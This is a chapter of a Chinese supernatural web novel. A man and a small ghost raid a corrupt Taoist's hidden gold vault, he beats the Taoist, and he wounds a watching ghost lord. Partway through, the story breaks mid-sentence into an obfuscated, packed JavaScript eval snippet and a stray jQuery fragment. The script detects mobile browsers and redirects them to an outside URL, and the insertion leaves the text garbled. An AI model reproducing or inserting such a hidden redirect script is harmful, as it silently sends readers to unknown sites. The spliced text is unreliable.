最后钱果然没能取出来。
ATM机的屏幕上跳出一行字:该账户已冻结。谢倦迟盯着这行字看了两秒,把卡抽出来,揣回兜里。
意料之中。所以尽管难免还是失望,但不多。
“哇——”林芝芝跟在谢倦迟身后,一脸崇拜,“没想到你居然是个包租公,好厉害!”
说着她飘到谢倦迟旁边,凑近了看他的表情:“死后的世界或许和我想象的不一样,但有钱人肯定是相似的。就好比丑是千奇百怪,美总是一致的。”
谢倦迟不语,神色冷淡。
此时此刻,他心情略微复杂。
旁边叽叽喳喳个没完的小诡很弱。弱到什么程度?一个月能产一百诡气都算烧高香。
至于诡物,那种东西一般是伴身随机产生,越厉害的诡越容易拥有,弱小的诡基本别想。而女孩一看就是那种什么都没有的穷诡,租得起房才怪。所以谢倦迟一开始问都没问。
可公寓主动放出了契约,收费要求也没变,依旧是八百诡气,或者等值诡物。但一个人没有的东西,打死他也拿不出来。同理,这小诡不可能拿得出租金。
然而人家就是签成功了,契约也承认。
谢倦迟垂下眼睫,浓密纤长的睫毛掩住他眼底的情绪。
公寓不存在赊账,换句话说,交不起钱是无法在合同上签下自己的名字的。
......几乎是明着告诉他女孩不对劲了,若这样谢倦迟都看不出来,那他就是傻子。
谢倦迟当然不是傻子,所以他看出来了。
不过就算公寓不提醒,谢倦迟也不会对任何诡放松警惕,何况——
“信号灯是你动的手脚吧。”谢倦迟冷不丁开口道。
林芝芝顿了顿,笑嘻嘻道:“你这不是没死吗。”
谢倦迟冷淡反问:“如果我死了呢。”
林芝芝撒娇道:“我们不要假设不存在的事情嘛。”
谢倦迟侧目定定看了她两秒。
人都有欲望,有的能控制,有的控制不住,放任自己堕落。
而变成诡之后,这种特质会被无限放大,好比人老了以后脑部发生变化,控制性格的区域模块萎缩,导致有人年轻时候和善温柔,老了变得狭隘挑剔。这是有科学证明的。
但也有人说那是本性暴露,年轻的时候能装,老了装不下去了。
不过不管是哪种说法,对于诡而言,欲望放大百倍是铁律——百倍的欲望,和du瘾级别差不多了,很少有诡能忍得住。
到了这个程度,完全就是变成了欲望的傀儡。
综上所述,谢倦迟对于诡看得很开,也很佛系。毕竟是个正常人都知道不能指望没开智的动物懂得礼义廉耻。
林芝芝被盯得有些发毛,一脸无辜的小心翼翼道:“你生气了吗?”
谢倦迟没回答。他不生气。都说了对诡没有指望。他只是在想另一件事:国内不方便干的事,去国外干呢?
黑吃黑那种。比如诈骗园区......
“你缺钱对吗?”林芝芝忽然开口,“我是说活人的钱。你刚才取钱没成功,看得出来很沮丧,都挂脸上了。”
谢倦迟抬起眼皮,淡淡看了她一眼。
林芝芝一个激灵,赶忙举手:“我知道有个地方很有钱!我带你去!”
谢倦迟慢吞吞开口:“我不干违法的事。”
林芝芝愣住,瞪大眼睛,上下打量谢倦迟,像在看什么珍稀动物。
半晌,她“呃”了一声,试探道:“那笔钱算是不义之财,你不用也是坏人用......你真的不要吗?”
谢倦迟:“指。”
林芝芝眉眼弯弯,立马转身,小手一挥:“好嘞老大!跟我来,在这边!”
***
林芝芝带谢倦迟去的地方是郊区的一栋别墅。
说是郊区,但在首都这地界,能有什么真郊区?也就是从三环开到五环外,再从五环拐进一条林荫道,七拐八绕,最后停在一扇大铁门前。
别墅三层,没有灯光,黑黢黢地立在那儿,像尊沉默的巨兽。院子里杂草丛生,有段时间没人打理了。
林芝芝飘进去,谢倦迟跟在后面。
穿过客厅,进入一间没有上锁的房间,里面摆放的是书柜和桌子,很显然是书房。
林芝芝停在书架前,伸手够了一下,够不着,讪讪缩回手,指挥道:“那个,最上面那层,左边第三本书,拉一下。”
谢倦迟依言抬手,把那本书拉出来。
“咔哒”一声轻响。
书架从中间裂开一道缝,然后缓缓往两边滑开,露出背后一扇门。门后是向下延伸的楼梯,黑漆漆的,看不见底。
谢倦迟看着那道门,一时不知道说什么。
他还以为这种机关只会在影视剧和小说里出现,没想到现实里真有。
一人一诡往下走。
黑暗对谢倦迟没有影响,他平稳下楼。大概下了两层楼的高度,走了二十多级台阶,终于到底了。
谢倦迟看见了一屋子的金条,码得整整齐齐,一摞一摞,从地上堆到腰那么高,金灿灿的,在黑暗中泛着柔和的光,那光落进眼睛里,刺得人有点恍惚。
谢倦迟的口腔开始疯狂分泌口水,原来是大脑自动联想了各种画面:热气腾腾的火锅,滋滋冒油的烤肉,刚出锅的红烧肉,裹满酱汁的糖醋排骨......
这才是人该吃的东西,泡面什么的偶尔吃吃是人间美味,吃多了和shi没有区别。
嗯,其实任何食物都是。
动手之前,谢倦迟转头看向林芝芝。
“你确定这是不义之财?”
林芝芝:“确定啊!谁家好人会储备这么大量的黄金?况且国家也不允许呀!”
谢倦迟还是有些犹豫,没动。
林芝芝见状叹了口气,无奈道:“行吧行吧,我跟你说清楚。”
她飘到一堆金条上坐下,晃着腿。
“这金子的主人是个风水师,在外面喜欢标榜自己是道士,但他是个屁的道士,就算是道士,也是邪道士,只要给钱,什么都干,诅咒他人,搞得人家家破人亡,诸如此类恶行,他没少干。”
“就说有那么一户人家吧,生意很好,竞争对手红眼看不过去,雇他整人家,他也是很有职业操守啊,把人家搞得欠债累累,最后一家子一起点炭自杀了。还有......”
林芝芝把自己知道的那些缺德事全抖出来。说着说着,她忽然感觉不对,声音越来越小,到最后完全噤声。
——谢倦迟还是那副样子,脸上没有表情。但这会儿的没有表情,是那种很冷的没有表情,冷得渗人。
林芝芝眼皮跳了跳,飘下来,随时准备跑路。
“你......没事吧?”她小心询问。
谢倦迟开口:“知道他是谁吗?”
“当然知道啊。”林芝芝一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320975|199051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸懵逼的回道。她要不知道能说这么多?
谢倦迟语气平静:“知道他在哪儿吗?”
林芝芝这会有点琢磨过味来了:“呃......知道?”
“指。”
凌晨四点。
老道士终于忙完,推开别墅的门,走进家,准备好好睡上一觉。刚踏进玄关,脚步顿住。
有生人的气息。
他眯了眯眼,掐指一算——只有一个人。冷笑一声。
既然来了就别想走了,他正好要上供一个活人“还愿”。
掐了个诀,把整栋别墅罩起来。结界落下。里面的人出不去,外面的人也进不来。
接着他循着那股气息追过去。
追到书房,老道脸色一变。那气息通向地下室,直达他的小金库。
老道眼里浮现怒火。好啊,原来是冲他的钱来的,那更该死了!
他不急不慢地往下走,一边走,一边想着待会儿怎么整那个小贼,先吓他个半死,再慢慢折磨,最后留一口气,献祭给騩神......
身后的书架门自动关上。走到最后一层阶梯,老道伸手按开灯。
“啪。”
灯光铺满整个地下室,照亮一室金条,也照亮坐在金条上的年轻人。对方一只手撑着脸颊,看着他,姿态懒洋洋的,像在自己家客厅里等人。
老道士愣了下,脑海里浮现嚣张二字,不等他动作,下一秒,年轻人先动了。
...
...
五分钟后。
老道士躺在地上,鼻青脸肿,肋骨断了三根,左腿扭成奇怪的角度。他张嘴想求饶,但嘴刚张开,就被一脚踩了回去,鞋底在下半张脸碾压,痛都是其次,羞辱意味拉满。
咬了咬牙,老道眼里闪过一抹狠色,在心里默念咒语,请神降临。
一股冰冷的气息从虚空中渗透进来。
谢倦迟动作一顿,他感觉自己的身体像被什么东西定住。虽然只有一瞬间,但这一瞬间的滞涩够了——
老道抓住机会,掐诀缩地成寸,消失在原地,留下谢倦迟脸色晦暗不明。
......有什么在注视他,来自另一个空间。而那个空间,他也很熟悉。
可以肯定的是视线的主人实力绝对不弱。正常来说,对方不可能影响到现世才对:两个世界之间存在壁垒,隔着法则,越强大的诡,法则对其的约束力越大。
但现在,对方已经能伸出触手影响到现世了。
这是一个相当糟糕的信号。
暂时压下这点不谈,谢倦迟肯定是打不过对方的。但这是在现世。现世有现世的规矩,他可以利用这个规矩教训一下对方。
谢倦迟闭上眼,主动释放一点属于诡异世界的力量。
那头的注视强度果不其然立刻加大了。
谢倦迟等的就是这一刻。他猛地睁开眼,眼底浮现一抹金色,那金色耀眼得犹如圣火,神圣不可侵犯。
虚空中传来一声惨叫。
诡异世界,红雾区。
一个形象半人半马的诡坐在城堡里的王座上,它刚把意识探入现世,想看看到底是谁在它面前放肆——
然后它看到了一抹金色。
还没来得及反应,那金色就烧了过来,像被烙铁直接按在眼球上。
它惨叫一声,双手捂住脸,身体往后仰,从王座上摔下来。鲜血从指缝里渗出来,滴在地上,很快汇成一小滩。